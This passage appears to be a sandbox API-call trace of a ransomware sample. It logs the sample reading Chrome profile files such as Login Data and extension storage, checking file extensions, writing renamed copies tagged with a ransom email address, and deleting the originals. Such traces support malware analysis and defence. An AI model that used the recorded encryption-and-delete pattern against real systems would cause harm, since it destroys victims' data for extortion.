dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0178.002] GetLastError () returned 0x0 [0178.002] ReadFile (in: hFile=0x1ac, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x3000, lpOverlapped=0x0) returned 1 [0178.004] WriteFile (in: hFile=0x1a0, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0x3010, lpOverlapped=0x0) returned 1 [0178.005] ReadFile (in: hFile=0x1ac, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.005] WriteFile (in: hFile=0x1a0, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0x154, lpOverlapped=0x0) returned 1 [0178.005] SetEndOfFile (hFile=0x1a0) returned 1 [0178.005] CloseHandle (hObject=0x1a0) returned 1 [0178.005] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.005] SetEndOfFile (hFile=0x1ac) returned 1 [0178.007] CloseHandle (hObject=0x1ac) returned 1 [0178.007] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.007] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage")) returned 1 [0178.007] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage") returned 154 [0178.007] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage") returned 154 [0178.007] lstrlenW (lpString=".doc") returned 4 [0178.007] lstrcmpiW (lpString1=".doc", lpString2="rage") returned -1 [0178.007] lstrlenW (lpString=".docx") returned 5 [0178.008] lstrcmpiW (lpString1=".docx", lpString2="orage") returned -1 [0178.008] lstrlenW (lpString=".pdf") returned 4 [0178.008] lstrcmpiW (lpString1=".pdf", lpString2="rage") returned -1 [0178.008] lstrlenW (lpString=".xls") returned 4 [0178.008] lstrcmpiW (lpString1=".xls", lpString2="rage") returned -1 [0178.008] lstrlenW (lpString=".xlsx") returned 5 [0178.008] lstrcmpiW (lpString1=".xlsx", lpString2="orage") returned -1 [0178.008] lstrlenW (lpString=".ppt") returned 4 [0178.008] lstrcmpiW (lpString1=".ppt", lpString2="rage") returned -1 [0178.008] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage") returned 154 [0178.008] lstrlenW (lpString=".zip") returned 4 [0178.008] lstrcmpiW (lpString1=".zip", lpString2="rage") returned -1 [0178.008] lstrlenW (lpString=".rar") returned 4 [0178.008] lstrcmpiW (lpString1=".rar", lpString2="rage") returned -1 [0178.008] lstrlenW (lpString=".bz2") returned 4 [0178.008] lstrcmpiW (lpString1=".bz2", lpString2="rage") returned -1 [0178.008] lstrlenW (lpString=".7z") returned 3 [0178.008] lstrcmpiW (lpString1=".7z", lpString2="age") returned -1 [0178.008] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage") returned 154 [0178.008] lstrlenW (lpString=".dbf") returned 4 [0178.008] lstrcmpiW (lpString1=".dbf", lpString2="rage") returned -1 [0178.008] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage") returned 154 [0178.008] lstrlenW (lpString=".1cd") returned 4 [0178.008] lstrcmpiW (lpString1=".1cd", lpString2="rage") returned -1 [0178.008] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage") returned 154 [0178.008] lstrlenW (lpString=".jpg") returned 4 [0178.008] lstrcmpiW (lpString1=".jpg", lpString2="rage") returned -1 [0178.009] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage") returned 154 [0178.009] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage") returned 154 [0178.009] lstrlenW (lpString=".doc") returned 4 [0178.009] lstrcmpiW (lpString1=".doc", lpString2="rage") returned -1 [0178.009] lstrlenW (lpString=".docx") returned 5 [0178.009] lstrcmpiW (lpString1=".docx", lpString2="orage") returned -1 [0178.009] lstrlenW (lpString=".pdf") returned 4 [0178.009] lstrcmpiW (lpString1=".pdf", lpString2="rage") returned -1 [0178.009] lstrlenW (lpString=".xls") returned 4 [0178.009] lstrcmpiW (lpString1=".xls", lpString2="rage") returned -1 [0178.009] lstrlenW (lpString=".xlsx") returned 5 [0178.009] lstrcmpiW (lpString1=".xlsx", lpString2="orage") returned -1 [0178.009] lstrlenW (lpString=".ppt") returned 4 [0178.009] lstrcmpiW (lpString1=".ppt", lpString2="rage") returned -1 [0178.009] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage") returned 154 [0178.009] lstrlenW (lpString=".zip") returned 4 [0178.009] lstrcmpiW (lpString1=".zip", lpString2="rage") returned -1 [0178.009] lstrlenW (lpString=".rar") returned 4 [0178.009] lstrcmpiW (lpString1=".rar", lpString2="rage") returned -1 [0178.009] lstrlenW (lpString=".bz2") returned 4 [0178.009] lstrcmpiW (lpString1=".bz2", lpString2="rage") returned -1 [0178.009] lstrlenW (lpString=".7z") returned 3 [0178.009] lstrcmpiW (lpString1=".7z", lpString2="age") returned -1 [0178.009] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage") returned 154 [0178.009] lstrlenW (lpString=".dbf") returned 4 [0178.010] lstrcmpiW (lpString1=".dbf", lpString2="rage") returned -1 [0178.010] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage") returned 154 [0178.010] lstrlenW (lpString=".1cd") returned 4 [0178.010] lstrcmpiW (lpString1=".1cd", lpString2="rage") returned -1 [0178.010] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage") returned 154 [0178.010] lstrlenW (lpString=".jpg") returned 4 [0178.010] lstrcmpiW (lpString1=".jpg", lpString2="rage") returned -1 [0178.010] lstrcmpiW (lpString1=".localstorage-journal", lpString2=".wiki") returned -1 [0178.010] lstrlenW (lpString="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal") returned 72 [0178.010] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0178.010] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=0) returned 1 [0178.011] CloseHandle (hObject=0x1ac) returned 1 [0178.011] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal") returned 162 [0178.011] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal") returned 162 [0178.011] lstrlenW (lpString=".doc") returned 4 [0178.011] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0178.011] lstrlenW (lpString=".docx") returned 5 [0178.011] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0178.011] lstrlenW (lpString=".pdf") returned 4 [0178.011] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0178.011] lstrlenW (lpString=".xls") returned 4 [0178.011] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0178.011] lstrlenW (lpString=".xlsx") returned 5 [0178.011] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0178.011] lstrlenW (lpString=".ppt") returned 4 [0178.011] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0178.011] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal") returned 162 [0178.011] lstrlenW (lpString=".zip") returned 4 [0178.011] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0178.011] lstrlenW (lpString=".rar") returned 4 [0178.011] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0178.011] lstrlenW (lpString=".bz2") returned 4 [0178.011] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0178.011] lstrlenW (lpString=".7z") returned 3 [0178.011] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0178.011] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal") returned 162 [0178.011] lstrlenW (lpString=".dbf") returned 4 [0178.012] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0178.012] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal") returned 162 [0178.012] lstrlenW (lpString=".1cd") returned 4 [0178.012] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0178.012] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal") returned 162 [0178.012] lstrlenW (lpString=".jpg") returned 4 [0178.012] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0178.012] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal") returned 162 [0178.012] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal") returned 162 [0178.012] lstrlenW (lpString=".doc") returned 4 [0178.012] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0178.012] lstrlenW (lpString=".docx") returned 5 [0178.012] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0178.012] lstrlenW (lpString=".pdf") returned 4 [0178.012] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0178.012] lstrlenW (lpString=".xls") returned 4 [0178.012] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0178.012] lstrlenW (lpString=".xlsx") returned 5 [0178.012] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0178.012] lstrlenW (lpString=".ppt") returned 4 [0178.012] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0178.012] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal") returned 162 [0178.012] lstrlenW (lpString=".zip") returned 4 [0178.012] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0178.012] lstrlenW (lpString=".rar") returned 4 [0178.012] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0178.012] lstrlenW (lpString=".bz2") returned 4 [0178.013] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0178.013] lstrlenW (lpString=".7z") returned 3 [0178.013] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0178.013] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal") returned 162 [0178.013] lstrlenW (lpString=".dbf") returned 4 [0178.013] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0178.013] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal") returned 162 [0178.013] lstrlenW (lpString=".1cd") returned 4 [0178.013] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0178.013] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage-journal") returned 162 [0178.013] lstrlenW (lpString=".jpg") returned 4 [0178.013] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0178.013] lstrlenW (lpString="Login Data") returned 10 [0178.013] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\login data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0178.014] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=18432) returned 1 [0178.014] CloseHandle (hObject=0x1ac) returned 1 [0178.014] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\login data")) returned 0x2020 [0178.014] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\login data.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.014] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\login data"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0178.014] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.014] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.014] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\login data.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0178.015] GetLastError () returned 0x0 [0178.015] ReadFile (in: hFile=0x1ac, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x4800, lpOverlapped=0x0) returned 1 [0178.274] WriteFile (in: hFile=0x1a0, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0x4810, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0x4810, lpOverlapped=0x0) returned 1 [0178.710] ReadFile (in: hFile=0x1ac, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.710] WriteFile (in: hFile=0x1a0, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0178.710] SetEndOfFile (hFile=0x1a0) returned 1 [0178.710] CloseHandle (hObject=0x1a0) returned 1 [0178.710] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.710] SetEndOfFile (hFile=0x1ac) returned 1 [0178.711] CloseHandle (hObject=0x1ac) returned 1 [0178.711] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.711] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\login data")) returned 1 [0178.712] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 86 [0178.712] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 86 [0178.712] lstrlenW (lpString=".doc") returned 4 [0178.712] lstrcmpiW (lpString1=".doc", lpString2="Data") returned -1 [0178.712] lstrlenW (lpString=".docx") returned 5 [0178.712] lstrcmpiW (lpString1=".docx", lpString2=" Data") returned 1 [0178.712] lstrlenW (lpString=".pdf") returned 4 [0178.712] lstrcmpiW (lpString1=".pdf", lpString2="Data") returned -1 [0178.712] lstrlenW (lpString=".xls") returned 4 [0178.712] lstrcmpiW (lpString1=".xls", lpString2="Data") returned -1 [0178.712] lstrlenW (lpString=".xlsx") returned 5 [0178.712] lstrcmpiW (lpString1=".xlsx", lpString2=" Data") returned 1 [0178.712] lstrlenW (lpString=".ppt") returned 4 [0178.712] lstrcmpiW (lpString1=".ppt", lpString2="Data") returned -1 [0178.712] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 86 [0178.712] lstrlenW (lpString=".zip") returned 4 [0178.712] lstrcmpiW (lpString1=".zip", lpString2="Data") returned -1 [0178.712] lstrlenW (lpString=".rar") returned 4 [0178.712] lstrcmpiW (lpString1=".rar", lpString2="Data") returned -1 [0178.712] lstrlenW (lpString=".bz2") returned 4 [0178.712] lstrcmpiW (lpString1=".bz2", lpString2="Data") returned -1 [0178.712] lstrlenW (lpString=".7z") returned 3 [0178.712] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0178.712] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 86 [0178.712] lstrlenW (lpString=".dbf") returned 4 [0178.712] lstrcmpiW (lpString1=".dbf", lpString2="Data") returned -1 [0178.712] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 86 [0178.712] lstrlenW (lpString=".1cd") returned 4 [0178.712] lstrcmpiW (lpString1=".1cd", lpString2="Data") returned -1 [0178.712] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 86 [0178.712] lstrlenW (lpString=".jpg") returned 4 [0178.712] lstrcmpiW (lpString1=".jpg", lpString2="Data") returned -1 [0178.713] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 86 [0178.713] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 86 [0178.713] lstrlenW (lpString=".doc") returned 4 [0178.713] lstrcmpiW (lpString1=".doc", lpString2="Data") returned -1 [0178.713] lstrlenW (lpString=".docx") returned 5 [0178.713] lstrcmpiW (lpString1=".docx", lpString2=" Data") returned 1 [0178.713] lstrlenW (lpString=".pdf") returned 4 [0178.713] lstrcmpiW (lpString1=".pdf", lpString2="Data") returned -1 [0178.713] lstrlenW (lpString=".xls") returned 4 [0178.713] lstrcmpiW (lpString1=".xls", lpString2="Data") returned -1 [0178.713] lstrlenW (lpString=".xlsx") returned 5 [0178.713] lstrcmpiW (lpString1=".xlsx", lpString2=" Data") returned 1 [0178.713] lstrlenW (lpString=".ppt") returned 4 [0178.713] lstrcmpiW (lpString1=".ppt", lpString2="Data") returned -1 [0178.713] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 86 [0178.713] lstrlenW (lpString=".zip") returned 4 [0178.713] lstrcmpiW (lpString1=".zip", lpString2="Data") returned -1 [0178.713] lstrlenW (lpString=".rar") returned 4 [0178.713] lstrcmpiW (lpString1=".rar", lpString2="Data") returned -1 [0178.713] lstrlenW (lpString=".bz2") returned 4 [0178.713] lstrcmpiW (lpString1=".bz2", lpString2="Data") returned -1 [0178.713] lstrlenW (lpString=".7z") returned 3 [0178.713] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0178.713] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 86 [0178.713] lstrlenW (lpString=".dbf") returned 4 [0178.713] lstrcmpiW (lpString1=".dbf", lpString2="Data") returned -1 [0178.713] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 86 [0178.713] lstrlenW (lpString=".1cd") returned 4 [0178.713] lstrcmpiW (lpString1=".1cd", lpString2="Data") returned -1 [0178.713] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 86 [0178.713] lstrlenW (lpString=".jpg") returned 4 [0178.714] lstrcmpiW (lpString1=".jpg", lpString2="Data") returned -1 [0178.714] lstrlenW (lpString="LOCK") returned 4 [0178.714] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\lock"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0178.714] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=0) returned 1 [0178.714] CloseHandle (hObject=0x1ac) returned 1 [0178.714] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK") returned 137 [0178.714] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK") returned 137 [0178.714] lstrlenW (lpString=".doc") returned 4 [0178.714] lstrcmpiW (lpString1=".doc", lpString2="LOCK") returned -1 [0178.714] lstrlenW (lpString=".docx") returned 5 [0178.714] lstrcmpiW (lpString1=".docx", lpString2="\\LOCK") returned -1 [0178.714] lstrlenW (lpString=".pdf") returned 4 [0178.714] lstrcmpiW (lpString1=".pdf", lpString2="LOCK") returned -1 [0178.715] lstrlenW (lpString=".xls") returned 4 [0178.715] lstrcmpiW (lpString1=".xls", lpString2="LOCK") returned -1 [0178.715] lstrlenW (lpString=".xlsx") returned 5 [0178.715] lstrcmpiW (lpString1=".xlsx", lpString2="\\LOCK") returned -1 [0178.715] lstrlenW (lpString=".ppt") returned 4 [0178.715] lstrcmpiW (lpString1=".ppt", lpString2="LOCK") returned -1 [0178.715] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK") returned 137 [0178.715] lstrlenW (lpString=".zip") returned 4 [0178.715] lstrcmpiW (lpString1=".zip", lpString2="LOCK") returned -1 [0178.715] lstrlenW (lpString=".rar") returned 4 [0178.715] lstrcmpiW (lpString1=".rar", lpString2="LOCK") returned -1 [0178.715] lstrlenW (lpString=".bz2") returned 4 [0178.715] lstrcmpiW (lpString1=".bz2", lpString2="LOCK") returned -1 [0178.715] lstrlenW (lpString=".7z") returned 3 [0178.715] lstrcmpiW (lpString1=".7z", lpString2="OCK") returned -1 [0178.715] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 